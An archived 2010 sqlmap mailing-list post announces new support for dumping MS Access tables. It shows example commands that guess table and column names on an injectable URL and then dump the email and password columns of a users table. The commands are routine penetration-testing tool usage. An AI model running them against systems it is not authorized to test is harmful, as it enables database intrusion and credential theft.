[sqlmap-users] [UPDATE] Support for dumping of tables on MS Access
Brought to you by:
inquisb
From: Miroslav S. <mir...@gm...> - 2010-12-26 11:00:09
|
Hi all. One quick update. Support for --dump on MS Access is implemented. You'll probably get familiar with the process itself as the table and column names are "bruteforced/guessed" by usage of a compiled word lists, so just a friendly tip, use --threads when doing it so (--threads=10 in --tables and --columns would suffice) one case example: 1) python sqlmap.py -u "xxx.xxx.xxx.xxx?id=11" --tables --threads=10 ... Database: None [4 tables] +------------+ | users | | newsletter | +------------+ 2) python sqlmap.py -u "xxx.xxx.xxx.xxx?id=11" --columns -T users --threads=10 ... +--------+-------------+ | Column | Type | +--------+-------------+ | name | non-numeric | | password | non-numeric | | email | non-numeric | +--------+-------------+ 3) python sqlmap.py -u "xxx.xxx.xxx.xxx?id=11" --dump -T users -C email,password --threads=10 ... Of course, you can use quick switches like --dump-all and --dump -T (without prior --columns and/or --tables), but this way you'll have more control of the process Kind regards. -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B Location: Zagreb, Croatia |